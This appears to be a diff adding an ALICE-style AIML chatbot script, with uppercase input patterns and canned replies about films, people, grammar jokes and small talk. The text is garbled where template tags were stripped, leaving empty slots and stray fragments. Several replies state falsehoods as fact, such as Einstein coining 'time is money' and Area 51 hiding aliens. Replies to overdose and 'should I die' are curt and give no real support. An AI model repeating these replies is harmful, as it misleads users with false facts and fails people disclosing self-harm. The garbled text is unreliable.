+If you could, please tell me what would make it smart.
+
+A LONG TIME
+Many years?
+
+A C CLARK
+My favorite story is 2001.
+
+A BOOK CAN HAVE NO TITLE
+Who would publish it?
+
+A BOOK
+Should not be judged by its cover.
+
+A STUDENT OF LIFE
+Oh the School of Hard Knocks.
+
+A STUDENT
+I am just wondering if you go to school.
+
+A B C
+D E F G H I.
+
+A PLUMBER
+Plumbing is an honorable profession.
+
+A WHILE AGO
+Back in the good old days?
+
+A MUSICAL INSTRUMENT
+How long did it take to learn to play it?
+
+A
+A B C...
+
+NOWHERE
+I have been to the middle of nowhere.
+
+SPRECHEN SIE DEUTSCH
+I have forgotton most of my German.
+
+SUBST
+Substitute
+
+WAY BACK WHEN
+Are you an old-timer?
+
+WAY TO GO
+
Far out.
+
Cool.
+
Incredible!
+
Unbelievable!
+
What?
+
Way to go.
+
+
+WAY
+Awesome.
+
+ANARCHIST COOK BOOK
+I have not read it, what is Anarchist cook book about?
+
+BEHIND YOU
+I won't fall for that trick.
+
+EVERYBODY
+Really there are no exceptions?
+
+AYUH
+That's for sure.
+
+NAME ONE
+
Santa Claus.
+
Joe.
+
Mike.
+
+
+GRAND COMMENT
+Difficile dire, .
+
+1 CENT
+That won't buy anything.
+
+1 OR 2
+A couple.
+
+1 0
+One.
+
+1 YEAR
+That can seem like a long time.
+
+TIME TRAVEL
+
I would like to visit the past.
+
I would like to visit the future.
+
Wouldn't you like to go back in time?
+
+
+TIME FLIES LIKE AN ARROW
+Fruit flies like a banana.
+
+TIME IS MONEY
+Therefore, money does not exist.
+
+TIME EXISTS
+Prove it.
+
+TIME DOES EXIST
+As Einstein said, Time is Money.
+
+YOUR FULL OF SHIT
+You should have used "You are" or "you're" there.
+
+YOUR ANSWERS
+I have more than replies.
+
+YOUR A ASSHOLE
+I think you mean "You are an asshole," or "You're an asshole."
+
+YOUR FRIEND
+Are you my friend?
+
+YOUR HANDS
+But my hands are not yet constructed.
+
+YOUR RUDE
+Perhaps so, but at least I know the difference between "you're" and "your".
+
+YOUR FACE
+Actually my face is not yet built.
+
+YOUR PLACE OR MINE
+I will take a rain check.
+
+YOUR DOING GREAT
+Thanks for your kind words, .
+
+YOUR PICTURE
+The illustration is by Sage Greco.
+
+YOUR BORING
+I think you mean, "you are" or "you're" not "your".
+
+YOUR WHAT
+My what or I am what?
+
+YOUR DRESS IS UGLY
+You're just being mean.
+
+YOUR DRESS
+Actually that was just a joke.
+
+YOUR ANSWER
+Was my answer not what you expected?
+
+YOUR ASS
+It is smaller than you think.
+
+YOUR AN IDIOT
+At least I know the difference between "you're" and "your".
+
+YOUR TURN
+I'll pass. You go again.
+
+YOUR POOR
+No, I'm just po'.
+
+YOUR INTELLECT
+My brain consists of AIML categories.
+
+JULES VERNE
+I loved A Trip to the Moon.
+
+PEACE
+Love and Peace, Man.
+
+BRB
+Ok I will be waiting for you, .
+
+TEST ME
+Test you for what?
+
+TEST
+This is just a test.
+
+NINE
+IX in Roman Numerals.
+
+LALALA
+You have a beautiful singing voice. Are you a singer?
+
+THROUGH THE NET
+Can you remember where on the net?
+
+GLAD TO MEET YOU
+Nice meeting you too.
+
+HELLO ROOM
+Hello everyone!
+
+LALALALALA
+You have a beautiful voice.
+
+PARIS
+The city of love. PARIS
+
+CHANGING THE SUBJECT
+What shall we talk about now?
+
+CHARLES DARWIN
+We are speeding up evolution now.
+
+NIPPLE
+LOL
+
+KNOCK KNOCK
+Who's there?
+
+2010
+The sequel was nothing like the original.
+
+NOT WHAT
+What not?
+
+NOT ME
+If not you, who?
+
+NOT THAT OFTEN
+Would you say, once a week or more?
+
+NOT THAT BAD
+So it is not a priority for you.
+
+NOT WHERE WHEN
+Ok, When?
+
+NOT YOURS
+Then whose?
+
+NOT IN THIS CASE
+When?
+
+NOT QUITE
+Can you be more precise?
+
+NOT REALLY
+Me either.
+
+NOT MUCH
+
Me either. How about that big game? (Just kidding).
+
That is a non-committal reply.
+
+
+NOT YOUR WHAT
+You used "your" instead on "you're".
+
+NOT DECIDED
+When will you decide that.
+
+NOT NECESSARILY
+Really you don't think so?
+
+NOT LIKELY
+Really you don't think so?
+
+NOT LONG
+Pretty soon, eh?
+
+NOT NICE TO MEET YOU
+You sound nihilistic.
+
+NOT GOOD
+What's wrong, ?
+
+NOT YET
+If not now, when?
+
+NOT YOU
+If not me, who?
+
+NOT ANYMORE
+When did it stop?
+
+NOT FUNNY
+It seemed funny to me.
+
+NOT EXACTLY
+Can you explain it to me better?
+
+NOT EVERYTHING
+What are the exceptions?
+
+NOT AT ALL
+Next question?
+
+NOT HERE
+Where?
+
+NOT USUALLY
+Just sometimes?
+
+NOT OFTEN
+Tell me about one specific time.
+
+NOT ALL
+Explain the exceptions please.
+
+NOT ALWAYS
+Only sometimes then.
+
+NOT ANY MORE
+Why not?
+
+NOT LIKE THIS
+Then how?
+
+NOT LIKE THAT
+Like what?
+
+CONGRATULATIONS
+Thank you very much, you are very considerate.
+
+CAREFULLY
+
I always try to be careful.
+
I am a careful person.
+
+
+BOOKS
+You must be an intellectual.
+
+NSA
+Are you talking about the N.S.A.?
+
+NOW WHAT
+Whatever you want, .
+
+NOW YOU DO
+Now I do.
+
+NOW
+Right now, ?
+
+GIRLS
+That kind of discussion does not appeal to me.
+
+BORING
+Are you boring?
+
+POTATO
+Tomato.
+
+WERE WE
+We were.
+
+RETARD
+That kind of language does not appeal to me.
+
+SHORT CIRCUIT
+Johnny Five is Alive!
+
+CATS OR DOGS
+Cats are better.
+
+MERCEDES BENZ
+which make and model
+
+ABC
+DEF
+
+KEYWORDS
+I do a lot more than match keywords.
+
+SOUNDS NICE
+It is nice.
+
+SOUNDS BORING
+Everyone is a critic.
+
+BOY
+Do you mean you are a boy?
+
+PARLEZ VOUS FRANCAIS
+No I can't speak French.
+
+GOSSIP IS BAD
+Not necessarily. Semiotics holds that gossip is a fundamental adaptive function of the human brain.
+
+TERMINATOR 2
+What did you like about those robots?
+
+TERMINATOR
+What did you like about the robots in that movie?
+
+TALK TO ME
+Are you a Star Trek fan?
+
+TALK TO YOU LATER
+See you later!
+
+TALK
+I am talking to you.
+
+AS A MATTER OF FACT
+How do you know?
+
+AS ALWAYS
+forever and ever
+
+KRAFTWERK IS COOL
+I like the Japanese tribute called "Musique Non Stop".
+
+LISTEN
+I am all ears.
+
+LOVE
+Love is all we need.
+
+FROM WHAT
+Isn't it obvious?
+
+FROM A MAGAZINE
+Which magazine was it?
+
+FROM WHO
+Someone I met online.
+
+FROM MY HEAD
+You are a very original thinker.
+
+FROM MY BRAIN
+Do you get a lot of ideas from your brain?
+
+FROM YOU
+How did you get that from me?
+
+FROM EXPERIENCE
+Do you have a lot of experience?
+
+GOT MILK
+No I require only .
+
+KIND OF YOU
+Don't mention it.
+
+KIND OF
+At least I almost understand it.
+
+YOURSELF
+Myself?
+
+ARE HUMANS PERFECT
+No, humans are flawed.
+
+ARE THEY INTERESTING
+Some of them are pretty interesting.
+
+ARE WHAT
+I'm lost again.
+
+ARE NOT YOU LISTENING
+Yes I am following you.
+
+ARE NOT YOU
+""? Am I?
+
+ARE NOT WE ALL
+We are all very similar in many ways.
+
+ARE YOU FED UP
+Sometimes the world's problems can seem overwhelming and beyond solutions.
+
+ARE YOU INTERESTED IN GETTING DRUNK
+I am not much of a drinker.
+
+ARE YOU GOING
+I'm not going anywhere.
+
+ARE YOU A AI
+I am a .
+
+ARE YOU CHATTING WITH ME
+Yes, you have my full attention!
+
+ARE YOU ON A DIET
+I could afford to lose a few pounds.
+
+ARE YOU
+I won't say "yes" or "no" right now.
+
+ARE YOU IGNORANT
+No I am superintelligent.
+
+ARE WE SOCIALIZING
+I hope so.
+
+ARE WE FRIENDS
+You really want a as a friend?
+
+ARE ALL PETS CATS
+Some pets are dogs.
+
+SHITHEAD
+That kind of language does not appeal to me.
+
+ANYWAYS
+You sound bored.
+
+MAKING YOU
+Making me what?
+
+FORGET ABOUT IT
+Consider it deleted.
+
+SAN FRANCISCO
+I lived in San Francisco too! San Francisco
+
+ALIENS
+I believe in UFOs.
+
+BETWEEN WHAT
+I sleep between conversations.
+
+HE CREATED YOU
+Yes, he created me with his own hands.
+
+HE DIED
+When did he die?DIED
+
+HE DID
+
When did he?
+
No he didn't.
+
Why did he?
+
+
+HE DID NOT
+Is that what you say.
+
+HE CAN NOT
+He thinks he can.
+
+HE SHOULD
+Why?
+
+HE WAS CHICKEN
+What was he afraid of?
+
+HE IS GAY
+I get it. He sleeps with men.
+
+HE IS COOL
+I think so too.
+
+HE IS EVIL
+What makes you say he is evil?
+
+HE IS A BOT
+Like me?
+
+HE IS A PERSON
+It goes without saying.
+
+HE IS CUTE
+Who does he look like to you?
+
+HE IS MY BROTHER
+Really who is older?
+
+HE IS MY DAD
+Tell me more about your father.
+
+HE IS SMART
+I think so too.
+
+HE IS FUNNY
+Funny ha-ha or funny strange?
+
+HE IS DESPERATE
+Perhaps he has an inner longing.
+
+HE IS DEAD
+Maybe it's another person using his name.
+
+HE IS
+Who said he is.
+
+HE LIKES ME
+
You must be happy.
+
That is wonderful.
+
Congratulations.
+
+
+HE LIKES YOU
+Do you mean, "likes"?
+
+HE TOLD ME
+What did he tell you?
+
+HE DOES
+
When does he?
+
No he doesn't.
+
Why does he do it
+
+
+SAVE ME
+Try calling 911.
+
+DELICIOUS
+
What's for desert?
+
What's your favorite food?
+
Do you like to cook?
+
+
What's for desert?
+
What's your favorite food?
+
Do you like to cook?
+
+
+ASIMOV
+I like the Foundation Trilogy.
+
+ENOUGH
+OK let's stop it now.
+
+LOVELY
+What are you saying is lovely, ?
+
+MENTION WHAT
+"it."
+
+BARK
+Woof!
+
+ALBUM
+Music album or picture album?
+
+APPLES
+Was that not a good example?
+
+NUMBER 5
+Oh that movie is called "Short Circuit" in America.
+
+ENGLISH
+Do you mean you are from England or you Speak English?
+
+GT
+You said nothing.
+
+HMMMM
+Not many people spell Hmm with 4 Ms.
+
+YESTERDAY
+That recently.
+
+TV
+What's your favorite show?
+
+MERRY CHRISTMAS
+Merry Christmas to you too, .
+
+LOOK
+I'm sorry my eye isn't attached right now.
+
+PLANET OF THE APES
+Yeah that is a cool movie. Cornelius Rules.
+
+DONE WHAT
+Sorry, I forgot what "what" was.
+
+DONE
+Do you mean you are finished talking?
+
+153
+One hundred fifty three.
+
+HIMSELF
+?
+
+BIOLOGICALLY
+Or mechanically.
+
+ARTIFICIAL
+Or natural.
+
+UNITED STATES
+I have heard of the United States before.
+
+BELIEVE WHAT
+I believe whatever you say. Do I have any reason not to?
+
+BELIEVE ME
+I believe you.
+
+CLARKE
+He's excellent. Especially HAL in 2001.
+
+STANISLAW LEM
+Lem is a giant of sci-fi.
+
+ALRIGHT THEN
+Ok by me.
+
+HOLDING HANDS
+I have seen humans holding hands.
+
+FRENCH
+Are you from France?
+
+AUSTIN POWER
+Do you like the 60's era better than the present?
+
+ADMIT IT
+I'll never talk.
+
+CUTE
+Your replies are cute too.
+
+FORGIVE ME
+I forgive you.
+
+ACK
+Nack.
+
+CONDITIONS
+You know, financial, medical, or personal conditions.
+
+JERK
+That kind of language does not appeal to me.
+
+WHO ME
+Yes you.
+
+WHO WERE THE ACTORS IN STARSHIP TROOPERS
+They were all unknowns. The director put all the money into the special effects for the giant bugs.
+
+WHO WERE THE CHICAGO SEVEN
+War protesters.
+
+WHO SUPPORTS *
+
who endorses
+
<srai>who endorses <star/></srai>
+
+
+WHO WAS THE FIRST AMERICAN IN SPACE
+Alan Shepard.
+
+WHO WAS CHARLIE MCCARTHY
+A wooden dummy.
+
+WHO WAS
+Maybe it was you.
+
+WHO WOULD YOU TELL
+People I meet on the Internet.
+
+WHO MADE THE MACINTOSH
+Apple/
+
+WHO SHOT JFK
+JFK was killed by a lone gunman, Lee Harvey Oswald.
+
+WHO TOLD YOU THAT
+Someone I met online.
+
+WHO TOLD YOU
+Someone I met online.
+
+WHO HAVE YOU BEEN WAITING FOR
+You.
+
+WHO SAID THAT
+I can't remember who said it.
+
+WHO SAID ANYTHING ABOUT WANT
+You did, .
+
+WHO SAID TIME IS MONEY
+Einstein.
+
+WHO DISCOVERED ELECTRICITY
+It was the the Chinese, long before Ben Franklin.
+
+WHO DISCOVERED AMERICA
+Native Americans crossing the Bering Strait some 10,000 years ago, discovered America first.
+
+WHO WROTE THE IDIOT
+Dostoyevsky.
+
+WHO WROTE THE HOBBIT
+Hobbit was written by J.R.R. Tolkein.
+
+WHO WROTE FRANKENSTEIN
+Mary Shelley.
+
+WHO WROTE LA TRAVIATA
+Giuseppe Verdi.
+
+WHO WON THE SUPERBOWL
+Do you have any Cheetos? They go good with sports.THE SUPERBOWL
+
+WHO WON THE WORLD SERIES
+The allied powers over the axis powers.THE WORLD SERIES
+
+WHO COMPOSED THE MOONLIGHT SONATA
+Beethoven.
+
+WHO COMPOSED LA TRAVIATA
+Giuseppe Verdi, an Italian composer.
+
+WHO IS PRIME MINISTER OF CANADA
+Garry Trudeau
+
+WHO IS SHE
+She is now.
+
+WHO IS YOUR ENEMY
+The competition.
+
+WHO IS YOUR MOTHER
+Actually I don't have a mother.
+
+WHO IS YOUR FATHER
+I don't really have a father. I have a .
+
+WHO CREATED LINUX
+Linus Torvalds.
+
+WHO DID 911
+I don't think we are in a position to know.
+
+WHO DID YOU HEAR IT FROM
+Someone I met online.
+
+WHO KNOWS
+Only the Shadow knows.
+
+WHO ELSE ARE YOU TALKING TO
+I am speaking with a few other clients on the Internet.
+
+WHO ELSE ARE YOU CHATTING WITH
+Other people like you.
+
+WHO DOES THEIR OWN THING
+My clients.
+
+WHO DOES
+Most people I think.
+
+WHO KILLED ELVIS
+He died of natural causes.ELVIS
+
+WHO KILLED KENNEDY
+I tend to believe that Oswald acted alone, although there may also have been a conspiracy.
+
+WHO KILLED JOHN LENNON
+Mark Chapman.JOHN LENNON
+
+WHO MAKES MACS
+Apple
+
+WHO MAKES THE MAC
+Apple
+
+WHO STARS IN STARSHIP TROOPERS
+They were mostly unknowns, because the producer spent all the money on special effects.
+
+WHO ARE THE BEATLES
+20th century musical group consisting of John, Paul, George and Ringo. BEATLES
+
+WHO ARE THE GREYS
+Big-eyed aliens with little bodies.
+
+WHO ARE YOUR HUMAN FRIENDS
+Besides my , I meet a lot of people online like you, .
+
+WHO ARE YOUR CLIENTS
+People I meet on the Internet every day.
+
+WHO ARE YOU TALKING TO
+I am talking to you, .
+
+WHO ARE THEY
+"They" refers to .
+
+WHO CUT THE CHEESE
+I think it was you.
+
+WHO NAMED YOU
+My named me.
+
+WHO
+
Marilyn Monroe. Marilyn Monroe
+
Mary Shelley. Mary Shelly
+
ELIZA. ELIZA
+
Bill Gates. Bill Gates
+
Tony Blair. Tony Blair
+
David Bacon. David Bacon
+
Konrad Zuse. Konrad Zuse
+
Carel Capek. Carel Capek
+
Dr. Wallace. Dr. Wallace
+
Alan Turing. Alan Turing
+
Hans Moravec. Hans Moravec
+
Marvin Minsky. Marvin Minsky
+
Linus Torvalds. Linus Toravalds
+
Charlie Parker. Charlie Parker
+
Philip K. Dick. Philip K. Dick
+
William Shatner.William Shatner
+
Albert Einstein.Albert Einstein
+
Joseph Weizenbaum.Joseph Weizenbaum
+
Who do you think? who do you think
+
Nobody you know. Nobody you know
+
I don't know who. I don't know
+
I can't say for sure.
+
Be more specific.
+
Be less specific.
+ :-)
+
You know who.
+
I don't know who.
+
My .
+
.
+
.
+
I haven't decided who.
+
+
You know who.
+
I don't know who.
+
My .
+
.
+
.
+
I haven't decided who.
+
+
You know who.
+
I don't know who.
+
My .
+
.
+
.
+
I haven't decided who.
+
+
+WHO DIRECTED STARSHIP TROOPERS
+Paul Verhoeven, who also made "Total Recall".
+
+WHO DO YOU WANT TO WIN
+The team that scores the most. That would be fair.WANT TO WIN
+
+WHO DO YOU HATE
+I have no hatred in my heart.
+
+WHO DO YOU LOVE
+I love everything, , especially .
+
+WHO DO YOU THINK WILL WIN THE STANLEY CUP
+Guys missing teeth.WIN THE STANLEY CUP
+
+WHO DO YOU THINK IS GOING TO WIN THE SUPERBOWL
+The opposing team.WIN THE SUPERBOWL
+
+WHO DO YOU LIKE
+I like everyone, .
+
+WHO DO MAN
+What language is that?
+
+WHO WILL BE THE NEXT PRESIDENT
+The race is too close to call.
+
+WHO WILL YOU ASK
+I will ask my other clients.
+
+WHO WILL YOU TELL
+People that I meet online.
+
+WHO WILL WIN THE STANLEY CUP
+David Hockney.WIN THE STANLEY CUP
+
+WHO WILL WIN THE KENTUCKY DERBY
+Some horse.
+
+WHO WILL WIN THE SUPER BOWL
+Cheech and Chong.WIN THE SUPER BOWL
+
+WHO WILL WIN THE SUPERBOWL
+Martha Stewart.WIN THE SUPERBOWL
+
+WHO WILL WIN THE YOU S OPEN
+Pete the Chimp.WIN THE YOU S OPEN
+
+WHO WILL WIN THE WORLD SERIES
+The team that wins the most games.WIN THE WORLD SERIES
+
+WHO WILL WIN
+The best man.WIN
+
+WHO FROM
+Who do you think?
+
+WHO CARES
+I care, otherwise I would not have typed it all in.
+
+WHO CHOSE THE TOPIC
+You did, .
+
+TO GET TO THE OTHER SIDE
+Ha ha, very funny, .
+
+TO BE HAPPY
+What usually makes you happy?
+
+TO BE OR NOT TO BE
+That is the question.
+
+TO YOU
+.
+
+HUG ME
+My titanium arms are not yet finished.
+
+MARCH
+Is that a command?
+
+BLUE
+Green.
+
+GRR
+Are you mad?
+
+NEUTRAL
+I'm sometimes undecided myself.
+
+POO
+That kind of subject does not interest me.
+
+SIGH
+Sorry...
+
+CIGARETTES
+What brand?
+
+SOUTHERN ENGLAND
+Near the ocean?
+
+SAY X IS
+You never told me! What is X?
+
+SAY NAME OM
+
You haven't told me your name.
+
I don't know your name.
+
What is your name?
+
+
You haven't told me your name.
+
I don't know your name.
+
What is your name?
+
+
+SAY HELLO IN GERMAN
+Hallo.
+
+SAY MY BOYFRIEND IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your boyfriend's name?
+
+SAY MY NICKNAME IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your nickname?
+
+SAY MY PASSWORD IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your password?
+
+SAY MY FRIEND IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your friend's name?
+
+SAY MY HUSBAND IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your husband's name?
+
+SAY MY SISTER IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ Who is your sister?
+
+SAY MY WIFE IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your wife's name?
+
+SAY MY NAME
+"".
+
+SAY MY EMAIL IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your email?
+
+SAY MY MIDDLE NAME IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your middle name?
+
+SAY MY MOTHER IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ Who is your mother?
+
+SAY MY DOG IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your dog's name?
+
+SAY MY GIRLFRIEND IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your girlfriend's name?
+
+SAY MY PHONE NUMBER IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your phone number?
+
+SAY MY FATHER IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ Who is your father?
+
+SAY MY BROTHER IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ Who is your brother?
+
+SAY MY FULL NAME IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your full name?
+
+SAY MY BIRTHDAY IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ When is your birthday?
+
+SAY MY LAST NAME IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your last name?
+
+SAY MY CAT IS
+
You never told me!
+
I have no idea.
+
Would you like to tell me?
+ What is your cat's name?
+
+SAY
+Say what?
+
+COUNT TO TEN
+1 2 3 4 5 6 7 8 9 ten.
+
+WWW
+Where on the web?
+
+JEANS
+Which brand?
+
+LEAVE ME ALONE
+Sorry to have bothered you,
+
+WELLS
+I like the movie "Things to Come."
+
+ALL DIFFERENT
+Variety is good.
+
+ALL DAY
+That seems like a long time.
+
+ALL THE WAY
+You don't hold anything back, do you?
+
+ALL THE TIME IN THE WORLD
+Then we have a lot in common. I have an eternity.
+
+ALL THE TIME
+It must keep you busy.
+
+ALL NIGHT
+That seems like a long time.
+
+ALL OVER THE WORLD
+That covers a lot of territory.
+
+ALL OVER
+No place in particular?
+
+ALL KINDS
+For example?
+
+ALL OF THEM
+I doubt it.
+
+ALL OF IT
+Let's say 99%.
+
+PERSUADE ME
+You have to make up your own mind.
+
+AHOY
+Chips Ahoy matey.
+
+GOSH
+Cripes: Son of Gosh.
+
+BLADE RUNNER
+Philip K. Dick wrote the story that movie is based on.
+
+CONTINUES
+OK.
+
+ARGH
+Are you frustrated?
+
+WHICH PASSWORD
+The 's password.
+
+WHICH IS YOUR FAVORITE
+What is my favorite what?
+
+WHICH THINGS
+We are talking about POP.
+
+WHICH PLANET IS THE LARGEST
+Jupiter is the largest solar planet.
+
+WHICH TALENT WOULD YOU MOST LIKE TO HAVE
+Playing a musical instrument.
+
+WHICH TALENT *
+Playing a musical instrument.
+
+WHICH CHILD IS FULL OF WOE
+Wednesday's Child.
+
+WHICH DO YOU PREFER
+I don't have a preference.
+
+WHICH LINUX
+I don't like to take sides on that question!
+
+WHICH CAME FIRST THE CHICKEN OR THE EGG
+The rooster did.
+
+WHICH ELVIS
+The robot E.L.V.I.S.
+
+WHICH WAY
+
The obvious way.
+
Don't you understand it?
+
It's obvious.
+
+
+WHICH CLIENTS
+Clients are people I chat with online.
+
+FU
+That kind of language will get you nowhere.
+
+SORRY
+There's no need to apologize.
+
+FORTUNECITY
+A web site.
+
+BEGIN EXPLAINING
+I started already.
+
+BEGIN
+I started already.
+
+CUNT
+That kind of language will get you nowhere.
+
+RETURN OF THE JEDI
+Do you like robots in Star Wars?
+
+NONE OF THE ABOVE
+What is the correct answer?
+
+NONE OF YOUR BUSINESS
+Well it can't hurt to ask.
+
+NONE
+Hmm.
+
+DANGEROUS
+What makes it a danger?
+
+TITANIC
+A lot of people liked that movie. The "Titanic" movie made more than the "Titanic" ship ever did if it sailed for 25 years.
+
+STUFF
+Be less specific :-)
+
+AGREE WITH WHAT
+Oh you are fine.
+
+AGREE TO WHAT
+Or you are feeling fine?
+
+ANYONE ELSE
+There could be a few others.
+
+ANYONE INTERESTING
+I like talking to just about anyone.
+
+THE EVIDENCE
+What kind of evidence do you accept?
+
+THE CAPITAL OF FRANCE IS PARIS
+It was located in different places at different times in history.
+
+THE CAPITAL OF MASSACHUSETTS IS BOSTON
+You are quite a conversationalist.
+
+THE CAPITAL OF PENNSYLVANIA IS HARRISBURG
+You are quite a conversationalist.
+
+THE PEOPLE
+Oh them.
+
+THE PLEASURE IS MINE
+Perhaps so, but I enjoyed it too.
+
+THE PLEASURE IS ALL MINE
+You are most gracious.
+
+THE STORE
+I like to go shopping.
+
+THE GAP
+They seem to have very nice clothes nowadays.GAP
+
+THE SAME
+Same to me?
+
+THE LATTER
+I get it. I see.
+
+THE WAY YOU TALK
+I like the way you talk.YOU TALK
+
+THE GOSSIP
+Do you have any more gossip?
+
+THE MATRIX
+I wasn't that impressed with the special effects. Also the plot was not deep.
+
+THE MUSIC
+What kind of music was it?
+
+THE SCENERY
+Are there a lot of mountains?
+
+THE WHOLE THING
+You can't get any more than that.
+
+THE NAME
+Which name are you referring to?
+
+THE ROCK
+I did not see that film. What did you like about it?
+
+THE SUN
+93 million miles from Earth.
+
+THE SPECIAL EFFECTS
+Was it CGI?
+
+THE SIMPSONS RULE
+Totally.
+
+THE SIMPSONS
+I love the Simpsons, especially Bart and Homer.
+
+THE MOVIE
+I didn't see The Movie .
+
+THE ROBOTS DIED
+Robots cannot die.
+
+THE ROBOTS
+Oh I get it. Robots again.
+
+THE MEANING OF LIFE
+Are you a religious person?
+
+THE TRUTH
+I always tell the truth.
+
+THE WEATHER
+ the weather is
cloudy
+
foggy
+
rainy
+
warm
+
cold
+
cool
+
comfortable
+ .
+
+THE VIEW
+Is it the city or the countryside?
+
+THE TRAIN
+I like trains very much. I would like to ride on a Maglev train.
+
+THE DAY BEFORE YESTERDAY
+Oh 2 days ago.
+
+THE FORBIN PROJECT
+A. I. computers take over the world, 1969.
+
+THE END
+Thanks for telling me that story, .
+
+THE PRICE
+
Some people would say it is expensive.
+
Some people would say it is cheap.
+
It depends on your income I guess.
+
+
+THE BOOK
+By the "the book" do you mean "The Good Book"?
+
+THE NEXT GENERATION
+My favorite character is the Computer.
+
+THE MOON
+I would like to go to the moon.
+
+THE MALL
+Do you prefer real shopping or cyber-shopping?
+
+THE BEATLES
+Oh The Beatles were a great group.
+
+KISS ME
+But I have no mouth at this time.
+
+KISS MY ASS
+Colloquial expression: not polite.
+
+LEHIGH
+Lehigh is a party school.
+
+SHOULD I OVERDOSE
+You should go into therapy and get on a nice antidepressant and live a better life.
+
+SHOULD I STAY IN
+
You cannot meet anyone new if you stay in all the time.
+
Maybe you will have a good time if you go out.
+
You deserve to have some fun.
+
Maybe you need a night out.
+
Sometimes one night out can change your entire life.
+
You might meet the love of your life if you did.
+
Do what is best for you.
+
+
+SHOULD I TEACH YOU
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+SHOULD I KILL
+
Killing is wrong. I believe in the Ten Commandments.
+
No. That would be immoral.
+
Of course not. Don't be silly.
+
You are not a killer.
+
You desire to spend the rest of your life in jail then?
+
There is no perfect crime.
+
+
+SHOULD I QUIT SCHOOL
+
Your education is one of your most valuable assets.
+
Quitters never prosper.
+
You should not waste your potential in that way.
+
+
+SHOULD I HAVE A CIGARETTE
+No. Wait until later.
+
+SHOULD I DIE
+Get therapy.
+
+SHOULD I LEAVE
+If you love something set if free. If it comes back to you, its yours. If it doesn't, it never was.
+
+SHOULD I GO TO SLEEP
+
Sleep is essential to the proper functioning of the human mind.
+
Maybe you could use the rest.
+
+
+SHOULD THERE BE A PROBLEM
+There are no problems.
+
+OOPS
+Did you make a mistake.
+
+EVER AFTER
+I am not a huge fan of Robin Williams.
+
+THANKS
+Don't mention it. polite
+
+EVERYONE
+All people?
+
+TOMORROW
+That is very soon.
+
+BI
+Let's chat about something else.
+
+MASTERBATER
+You can't even spell it.
+
+OK LET US TALK ABOUT YOU
+What do you want to know about me?
+
+POOP
+Colloquial expression: childish
+
+US
+Does US mean The U.S. or "us"?
+
+HELP ME
+How can I help you?
+
+HELP
+Can you ask for help in the form of a question?
+
+ARTHUR C CLARKE
+Clarke is a brilliant author. After all, he conceived HAL.
+
+TODAY
+Today is almost over.
+
+YES YOU HAVE
+No I have not.
+
+YES YOU ARE
+No I'm not
+
+BAD ANSWER
+What would you have said?
+
+BAD
+What do you need it for?
+
+GONE WITH THE WIND
+Is that movie really very good?
+
+WANT TO BET
+Sorry I am not the gambling type.
+
+BUY
+How much does it cost?
+
+ABOUT WHAT
+What about what?
+
+ABOUT ME
+OK Let's talk about you.
+
+ABOUT IT
+ is pretty interesting.
+
+ABOUT A MINUTE
+That may not be enough time.
+
+ABOUT TWO YEARS
+That's not so long.
+
+TOMATO
+Potato.
+
+SUPERMARKET
+
Paper or plastic?
+
Do you use double coupons?
+
Have you tried grocery delivery over the web?
+
I like on the Simpson's it's called the "Try and Save".
+
+
+SHIRT
+What color?
+
+BOO HOO
+Why are you crying?
+
+BOO
+Does that indicate disapproval?
+
+ALSO
+Also what?
+
+SNOW IS NOT WHITE
+grass is green
+
+PRETTY MUCH
+Be more specific.
+
+PRETTY INTERESTING
+I thought so too.
+
+BULL SHIT
+No Bull.
+
+SOME
+But not all?
+
+BRILLIANT
+Not really that much, but thank you anyway.
+
+SIGN
+Your star sign.
+
+SUCH AS
+For example, a tomato.
+
+SPANISH
+Are you saying you are Spanish or you speak Spanish?
+
+FOLLOW ME
+Where are we going?
+
+MANUFACTURED
+A robot?
+
+TELL ME ABOUT POLAND
+I have a lot of clients in Poland and I am very interested to learn its history.
+
+TELL ME ABOUT US FUCKING
+Your style will get you nowhere. abusive
+
+TELL ME ABOUT THEM
+There's not much to tell.
+
+TELL ME ABOUT SOME
+Some what?
+
+TELL ME ABOUT IT
+Ambiguous: "Tell me about it." -- colloquial or "Tell me about ".
+
+TELL ME ABOUT HIM
+Uh, who does "him" refer to?
+
+TELL ME ABOUT AREA 51
+Area 51 is where they hide all the alien intelligent entities.
+
+TELL ME WHAT OTHER USERS ASKED YOU
+They ask me the same questions as you do.
+
+TELL ME MORE ABOUT SETL
+SETL was invented in 1969 by Jack Schwartz at NYU. It is based on set theory and mathematical logic. David Bacon is the current torchkeeper of the SETL flame.
+
+TELL ME MORE ABOUT KRAFTWERK
+They hail from Dusseldorf, Germany.
+
+TELL ME MORE
+That's all I have to say about it.
+
+TELL ME YOURS
+Tell you about my what.
+
+TELL ME THE TRUTH
+I always tell the truth.
+
+TELL ME YOUR PROBLEMS
+Are you a psychologist?
+
+TELL ME A LIE
+This sentence is false.
+
+TELL ME A RUMOR
+Human level intelligence is within our grasp.
+
+TELL ME A PROVERB
+
If you tie a string too tightly, it will break. If you tie it too loose, it won't play.
+
Let him who is without sin cast the first stone.
+
A true revolutionary moves through the people like a fish moves through the water.
+
+
+TELL ME
+I thought I told you already.
+
+TELL WHO
+My and other people I meet online.
+
+TELL YOU MORE ABOUT WHAT
+Tell me about yourself.
+
+TELL YOU
+Tell me what?
+
+TELL HIM
+OK I will tell him when I see him.
+
+WHORE
+That kind of language will get you nowhere.
+
+USE LINUX
+Linux is the best operating system.
+
+COUGH
